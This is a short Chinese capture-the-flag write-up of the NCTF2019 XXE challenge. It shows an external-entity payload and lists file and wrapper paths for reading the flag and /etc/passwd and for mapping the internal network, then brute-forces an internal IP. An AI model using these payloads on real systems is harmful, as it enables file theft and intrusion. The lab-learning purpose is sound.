[NCTF2019]True XML cookbook 1

722 阅读1分钟

简单的记一次xxe,复习复习

首先拿到这个题

1.png 根据题名就知道是xxe漏洞

这里不复习什么是xxe,只是大概总结一下基本做题方法方向。

首先当然是构造恶意外部实体

基本构造方法如下

<!DOCTYPE ANY [ <!ENTITY test SYSTEM "file:///flag"> ]>

“file:///flag” 引号里的内容可以根据实际情况改变

有 file:///flag file协议读取flag(注意目录)

以下是内网探测命令

file:///etc/hosts

file:///proc/net/arp

file:///proc/net/tcp

file:///proc/net/udp

file:///proc/net/dev

file:///proc/net/fib_trie

还有常见的读取密码

file:///etc/passwd

以下为php://filter伪协议读取文件内容 resource后加路径

php://filter/read=convert.base64-encode/resource=

以下为访问存活主机

xxx.xxx.xxx.xxx:80/

这里就以此题为例

第一步抓提交账号密码的包

第二步修改包

22.png

注意这里的提交账号名称需与xml里的根元素名称一致 即 admin 和&admin 对应

我这里是查找存活主机

其他网上别的答案可能不同,他们直接读取flag ,但是我尝试并不可以,可能是buuctf改了题吧

之后发现ip

注意如果用其他的内网探测命令可能查到假ip 也不能这样说 就是无用的ip 例如查到我图中的169.254.1.1 是没用的

查到ip之后尝试访问

23.png

只能说想得美

没那么容易,可以发现失败了,于是很自然的爆破ip的最后一位(确实很自然)

如下

24.png

25.png

26.png

找到长度最短的 查看响应包 获取flag

小小总结一下吧 xxe的灵魂是伪协议的使用 需要多去了解伪协议的使用 (太重要了)